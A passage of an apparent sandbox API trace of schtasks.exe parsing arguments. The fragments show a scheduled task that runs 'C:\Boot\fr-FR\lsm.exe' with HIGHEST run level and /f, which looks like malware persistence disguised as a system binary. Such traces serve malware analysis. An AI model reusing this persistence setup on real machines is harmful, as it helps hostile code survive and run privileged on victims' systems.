8 [0083.716] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tr|") returned 4 [0083.716] lstrlenW (lpString="|change|") returned 8 [0083.716] lstrlenW (lpString="|tr|") returned 4 [0083.716] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0083.716] SetLastError (dwErrCode=0x490) [0083.716] lstrlenW (lpString="run") returned 3 [0083.716] lstrlenW (lpString="run") returned 3 [0083.716] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.716] lstrlenW (lpString="tr") returned 2 [0083.716] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.716] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|run|") returned 5 [0083.716] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tr|") returned 4 [0083.716] lstrlenW (lpString="|run|") returned 5 [0083.717] lstrlenW (lpString="|tr|") returned 4 [0083.717] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0083.717] SetLastError (dwErrCode=0x490) [0083.717] lstrlenW (lpString="end") returned 3 [0083.717] lstrlenW (lpString="end") returned 3 [0083.717] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.717] lstrlenW (lpString="tr") returned 2 [0083.717] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.717] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|end|") returned 5 [0083.717] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tr|") returned 4 [0083.717] lstrlenW (lpString="|end|") returned 5 [0083.717] lstrlenW (lpString="|tr|") returned 4 [0083.717] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0083.717] SetLastError (dwErrCode=0x490) [0083.717] lstrlenW (lpString="showsid") returned 7 [0083.717] lstrlenW (lpString="showsid") returned 7 [0083.717] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.725] lstrlenW (lpString="tr") returned 2 [0083.725] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.725] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|showsid|") returned 9 [0083.725] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tr|") returned 4 [0083.725] lstrlenW (lpString="|showsid|") returned 9 [0083.725] lstrlenW (lpString="|tr|") returned 4 [0083.725] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0083.725] SetLastError (dwErrCode=0x490) [0083.725] SetLastError (dwErrCode=0x490) [0083.725] SetLastError (dwErrCode=0x0) [0083.725] lstrlenW (lpString="/tr") returned 3 [0083.725] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0083.725] SetLastError (dwErrCode=0x490) [0083.725] SetLastError (dwErrCode=0x0) [0083.725] lstrlenW (lpString="/tr") returned 3 [0083.725] GetProcessHeap () returned 0x1b0000 [0083.725] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x8) returned 0x1cc3b0 [0083.725] GetProcessHeap () returned 0x1b0000 [0083.725] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccdb0 [0083.725] SetLastError (dwErrCode=0x0) [0083.725] SetLastError (dwErrCode=0x0) [0083.725] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.726] lstrlenW (lpString="-/") returned 2 [0083.726] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0083.726] SetLastError (dwErrCode=0x490) [0083.726] SetLastError (dwErrCode=0x490) [0083.726] SetLastError (dwErrCode=0x0) [0083.726] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.726] StrChrIW (lpStart="'C:\\Boot\\fr-FR\\lsm.exe'", wMatch=0x3a) returned=":\\Boot\\fr-FR\\lsm.exe'" [0083.726] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.726] GetProcessHeap () returned 0x1b0000 [0083.726] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cc3d0 [0083.726] _memicmp (_Buf1=0x1cc3d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.726] GetProcessHeap () returned 0x1b0000 [0083.726] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xe) returned 0x1cc3f0 [0083.726] GetProcessHeap () returned 0x1b0000 [0083.726] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cc410 [0083.726] _memicmp (_Buf1=0x1cc410, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.726] GetProcessHeap () returned 0x1b0000 [0083.726] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x32) returned 0x1c7ba0 [0083.726] SetLastError (dwErrCode=0x7a) [0083.726] SetLastError (dwErrCode=0x0) [0083.726] SetLastError (dwErrCode=0x0) [0083.726] lstrlenW (lpString="'C") returned 2 [0083.726] lstrlenW (lpString="-/") returned 2 [0083.727] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0083.727] SetLastError (dwErrCode=0x490) [0083.727] SetLastError (dwErrCode=0x490) [0083.727] SetLastError (dwErrCode=0x0) [0083.727] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.727] GetProcessHeap () returned 0x1b0000 [0083.727] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x30) returned 0x1c7be0 [0083.727] GetProcessHeap () returned 0x1b0000 [0083.727] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccde0 [0083.727] SetLastError (dwErrCode=0x0) [0083.727] SetLastError (dwErrCode=0x0) [0083.727] lstrlenW (lpString="/rl") returned 3 [0083.727] lstrlenW (lpString="-/") returned 2 [0083.727] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.727] lstrlenW (lpString="?") returned 1 [0083.727] lstrlenW (lpString="?") returned 1 [0083.727] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.727] lstrlenW (lpString="rl") returned 2 [0083.727] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.727] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|?|") returned 3 [0083.727] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|rl|") returned 4 [0083.727] lstrlenW (lpString="|?|") returned 3 [0083.727] lstrlenW (lpString="|rl|") returned 4 [0083.727] SetLastError (dwErrCode=0x490) [0083.727] lstrlenW (lpString="create") returned 6 [0083.727] lstrlenW (lpString="create") returned 6 [0083.727] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.728] lstrlenW (lpString="rl") returned 2 [0083.728] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.728] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|create|") returned 8 [0083.728] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|rl|") returned 4 [0083.728] lstrlenW (lpString="|create|") returned 8 [0083.728] lstrlenW (lpString="|rl|") returned 4 [0083.728] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0083.728] SetLastError (dwErrCode=0x490) [0083.728] lstrlenW (lpString="delete") returned 6 [0083.728] lstrlenW (lpString="delete") returned 6 [0083.728] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.728] lstrlenW (lpString="rl") returned 2 [0083.728] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.728] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|delete|") returned 8 [0083.728] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|rl|") returned 4 [0083.728] lstrlenW (lpString="|delete|") returned 8 [0083.728] lstrlenW (lpString="|rl|") returned 4 [0083.728] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0083.728] SetLastError (dwErrCode=0x490) [0083.728] lstrlenW (lpString="query") returned 5 [0083.728] lstrlenW (lpString="query") returned 5 [0083.728] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.728] lstrlenW (lpString="rl") returned 2 [0083.729] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.729] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|query|") returned 7 [0083.729] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|rl|") returned 4 [0083.729] lstrlenW (lpString="|query|") returned 7 [0083.729] lstrlenW (lpString="|rl|") returned 4 [0083.729] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0083.729] SetLastError (dwErrCode=0x490) [0083.729] lstrlenW (lpString="change") returned 6 [0083.729] lstrlenW (lpString="change") returned 6 [0083.729] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.729] lstrlenW (lpString="rl") returned 2 [0083.729] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.729] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|change|") returned 8 [0083.729] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|rl|") returned 4 [0083.729] lstrlenW (lpString="|change|") returned 8 [0083.729] lstrlenW (lpString="|rl|") returned 4 [0083.729] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0083.729] SetLastError (dwErrCode=0x490) [0083.729] lstrlenW (lpString="run") returned 3 [0083.729] lstrlenW (lpString="run") returned 3 [0083.729] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.729] lstrlenW (lpString="rl") returned 2 [0083.729] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.730] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|run|") returned 5 [0083.730] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|rl|") returned 4 [0083.730] lstrlenW (lpString="|run|") returned 5 [0083.730] lstrlenW (lpString="|rl|") returned 4 [0083.730] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0083.730] SetLastError (dwErrCode=0x490) [0083.730] lstrlenW (lpString="end") returned 3 [0083.730] lstrlenW (lpString="end") returned 3 [0083.730] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.730] lstrlenW (lpString="rl") returned 2 [0083.730] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.730] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|end|") returned 5 [0083.730] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|rl|") returned 4 [0083.730] lstrlenW (lpString="|end|") returned 5 [0083.730] lstrlenW (lpString="|rl|") returned 4 [0083.730] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0083.730] SetLastError (dwErrCode=0x490) [0083.730] lstrlenW (lpString="showsid") returned 7 [0083.730] lstrlenW (lpString="showsid") returned 7 [0083.730] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.730] lstrlenW (lpString="rl") returned 2 [0083.730] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.730] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|showsid|") returned 9 [0083.731] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|rl|") returned 4 [0083.731] lstrlenW (lpString="|showsid|") returned 9 [0083.731] lstrlenW (lpString="|rl|") returned 4 [0083.731] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0083.731] SetLastError (dwErrCode=0x490) [0083.731] SetLastError (dwErrCode=0x490) [0083.731] SetLastError (dwErrCode=0x0) [0083.731] lstrlenW (lpString="/rl") returned 3 [0083.731] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0083.731] SetLastError (dwErrCode=0x490) [0083.731] SetLastError (dwErrCode=0x0) [0083.731] lstrlenW (lpString="/rl") returned 3 [0083.731] GetProcessHeap () returned 0x1b0000 [0083.731] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x8) returned 0x1cc430 [0083.731] GetProcessHeap () returned 0x1b0000 [0083.731] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce10 [0083.731] SetLastError (dwErrCode=0x0) [0083.731] SetLastError (dwErrCode=0x0) [0083.731] lstrlenW (lpString="HIGHEST") returned 7 [0083.731] lstrlenW (lpString="-/") returned 2 [0083.731] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0083.731] SetLastError (dwErrCode=0x490) [0083.731] SetLastError (dwErrCode=0x490) [0083.731] SetLastError (dwErrCode=0x0) [0083.731] lstrlenW (lpString="HIGHEST") returned 7 [0083.731] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0083.731] SetLastError (dwErrCode=0x490) [0083.731] SetLastError (dwErrCode=0x0) [0083.731] lstrlenW (lpString="HIGHEST") returned 7 [0083.732] GetProcessHeap () returned 0x1b0000 [0083.732] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x10) returned 0x1cd5e0 [0083.732] GetProcessHeap () returned 0x1b0000 [0083.732] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce40 [0083.732] SetLastError (dwErrCode=0x0) [0083.732] SetLastError (dwErrCode=0x0) [0083.732] lstrlenW (lpString="/f") returned 2 [0083.732] lstrlenW (lpString="-/") returned 2 [0083.732] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.732] lstrlenW (lpString="?") returned 1 [0083.732] lstrlenW (lpString="?") returned 1 [0083.732] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.732] lstrlenW (lpString="f") returned 1 [0083.732] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.732] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|?|") returned 3 [0083.732] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|f|") returned 3 [0083.732] lstrlenW (lpString="|?|") returned 3 [0083.732] lstrlenW (lpString="|f|") returned 3 [0083.732] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0083.732] SetLastError (dwErrCode=0x490) [0083.732] lstrlenW (lpString="create") returned 6 [0083.732] lstrlenW (lpString="create") returned 6 [0083.732] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.732] lstrlenW (lpString="f") returned 1 [0083.732] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.733] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|create|") returned 8 [0083.733] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|f|") returned 3 [0083.733] lstrlenW (lpString="|create|") returned 8 [0083.733] lstrlenW (lpString="|f|") returned 3 [0083.733] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0083.733] SetLastError (dwErrCode=0x490) [0083.733] lstrlenW (lpString="delete") returned 6 [0083.733] lstrlenW (lpString="delete") returned 6 [0083.733] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.733] lstrlenW (lpString="f") returned 1 [0083.733] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.733] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|delete|") returned 8 [0083.733] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|f|") returned 3 [0083.733] lstrlenW (lpString="|delete|") returned 8 [0083.733] lstrlenW (lpString="|f|") returned 3 [0083.733] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0083.733] SetLastError (dwErrCode=0x490) [0083.733] lstrlenW (lpString="query") returned 5 [0083.733] lstrlenW (lpString="query") returned 5 [0083.733] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.733] lstrlenW (lpString="f") returned 1 [0083.733] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.733] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|query|") returned 7 [0083.734] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|f|") returned 3 [0083.734] lstrlenW (lpString="|query|") returned 7 [0083.734] lstrlenW (lpString="|f|") returned 3 [0083.734] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0083.734] SetLastError (dwErrCode=0x490) [0083.734] lstrlenW (lpString="change") returned 6 [0083.734] lstrlenW (lpString="change") returned 6 [0083.734] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.734] lstrlenW (lpString="f") returned 1 [0083.734] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.734] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|change|") returned 8 [0083.734] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|f|") returned 3 [0083.734] lstrlenW (lpString="|change|") returned 8 [0083.734] lstrlenW (lpString="|f|") returned 3 [0083.734] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0083.734] SetLastError (dwErrCode=0x490) [0083.734] lstrlenW (lpString="run") returned 3 [0083.734] lstrlenW (lpString="run") returned 3 [0083.734] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.734] lstrlenW (lpString="f") returned 1 [0083.734] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.734] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|run|") returned 5 [0083.734] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|f|") returned 3 [0083.734] lstrlenW (lpString="|run|") returned 5 [0083.734] lstrlenW (lpString="|f|") returned 3 [0083.735] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0083.735] SetLastError (dwErrCode=0x490) [0083.735] lstrlenW (lpString="end") returned 3 [0083.735] lstrlenW (lpString="end") returned 3 [0083.735] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.735] lstrlenW (lpString="f") returned 1 [0083.735] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.735] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|end|") returned 5 [0083.735] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|f|") returned 3 [0083.735] lstrlenW (lpString="|end|") returned 5 [0083.735] lstrlenW (lpString="|f|") returned 3 [0083.735] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0083.735] SetLastError (dwErrCode=0x490) [0083.735] lstrlenW (lpString="showsid") returned 7 [0083.735] lstrlenW (lpString="showsid") returned 7 [0083.735] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.735] lstrlenW (lpString="f") returned 1 [0083.735] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.735] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|showsid|") returned 9 [0083.735] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|f|") returned 3 [0083.735] lstrlenW (lpString="|showsid|") returned 9 [0083.735] lstrlenW (lpString="|f|") returned 3 [0083.735] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0083.735] SetLastError (dwErrCode=0x490) [0083.736] SetLastError (dwErrCode=0x490) [0083.736] SetLastError (dwErrCode=0x0) [0083.736] lstrlenW (lpString="/f") returned 2 [0083.736] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0083.736] SetLastError (dwErrCode=0x490) [0083.736] SetLastError (dwErrCode=0x0) [0083.736] lstrlenW (lpString="/f") returned 2 [0083.736] GetProcessHeap () returned 0x1b0000 [0083.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x6) returned 0x1cddb0 [0083.736] GetProcessHeap () returned 0x1b0000 [0083.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce70 [0083.736] SetLastError (dwErrCode=0x0) [0083.736] GetProcessHeap () returned 0x1b0000 [0083.736] GetProcessHeap () returned 0x1b0000 [0083.736] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc2c0) returned 1 [0083.736] GetProcessHeap () returned 0x1b0000 [0083.736] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc2c0) returned 0x8 [0083.736] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc2c0 | out: hHeap=0x1b0000) returned 1 [0083.736] GetProcessHeap () returned 0x1b0000 [0083.736] GetProcessHeap () returned 0x1b0000 [0083.736] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cccf0) returned 1 [0083.736] GetProcessHeap () returned 0x1b0000 [0083.736] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cccf0) returned 0x20 [0083.737] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cccf0 | out: hHeap=0x1b0000) returned 1 [0083.737] GetProcessHeap () returned 0x1b0000 [0083.737] GetProcessHeap () returned 0x1b0000 [0083.737] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc350) returned 1 [0083.737] GetProcessHeap () returned 0x1b0000 [0083.737] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc350) returned 0x8 [0083.737] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc350 | out: hHeap=0x1b0000) returned 1 [0083.738] GetProcessHeap () returned 0x1b0000 [0083.738] GetProcessHeap () returned 0x1b0000 [0083.738] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd20) returned 1 [0083.738] GetProcessHeap () returned 0x1b0000 [0083.738] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd20) returned 0x20 [0083.738] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd20 | out: hHeap=0x1b0000) returned 1 [0083.738] GetProcessHeap () returned 0x1b0000 [0083.738] GetProcessHeap () returned 0x1b0000 [0083.738] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc370) returned 1 [0083.738] GetProcessHeap () returned 0x1b0000 [0083.738] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc370) returned 0x8 [0083.738] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc370 | out: hHeap=0x1b0000) returned 1 [0083.738] GetProcessHeap () returned 0x1b0000 [0083.738] GetProcessHeap () returned 0x1b0000 [0083.738] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd50) returned 1 [0083.739] GetProcessHeap () returned 0x1b0000 [0083.739] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd50) returned 0x20 [0083.739] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd50 | out: hHeap=0x1b0000) returned 1 [0083.739] GetProcessHeap () returned 0x1b0000 [0083.739] GetProcessHeap () returned 0x1b0000 [0083.739] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc390) returned 1 [0083.739] GetProcessHeap () returned 0x1b0000 [0083.739] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc390) returned 0x10 [0083.739] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc390 | out: hHeap=0x1b0000) returned 1 [0083.739] GetProcessHeap () returned 0x1b0000 [0083.739] GetProcessHeap () returned 0x1b0000 [0083.739] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd80) returned 1 [0083.739] GetProcessHeap () returned 0x1b0000 [0083.739] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd80) returned 0x20 [0083.740] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd80 | out: hHeap=0x1b0000) returned 1 [0083.740] GetProcessHeap () returned 0x1b0000 [0083.740] GetProcessHeap () returned 0x1b0000 [0083.740] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3b0) returned 1 [0083.740] GetProcessHeap () returned 0x1b0000 [0083.740] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc3b0) returned 0x8 [0083.740] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3b0 | out: hHeap=0x1b0000) returned 1 [0083.740] GetProcessHeap () returned 0x1b0000 [0083.740] GetProcessHeap () returned 0x1b0000 [0083.740] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdb0) returned 1 [0083.740] GetProcessHeap () returned 0x1b0000 [0083.740] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccdb0) returned 0x20 [0083.741] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdb0 | out: hHeap=0x1b0000) returned 1 [0083.741] GetProcessHeap () returned 0x1b0000 [0083.741] GetProcessHeap () returned 0x1b0000 [0083.741] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7be0) returned 1 [0083.741] GetProcessHeap () returned 0x1b0000 [0083.741] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c7be0) returned 0x30 [0083.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7be0 | out: hHeap=0x1b0000) returned 1 [0083.742] GetProcessHeap () returned 0x1b0000 [0083.742] GetProcessHeap () returned 0x1b0000 [0083.742] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccde0) returned 1 [0083.742] GetProcessHeap () returned 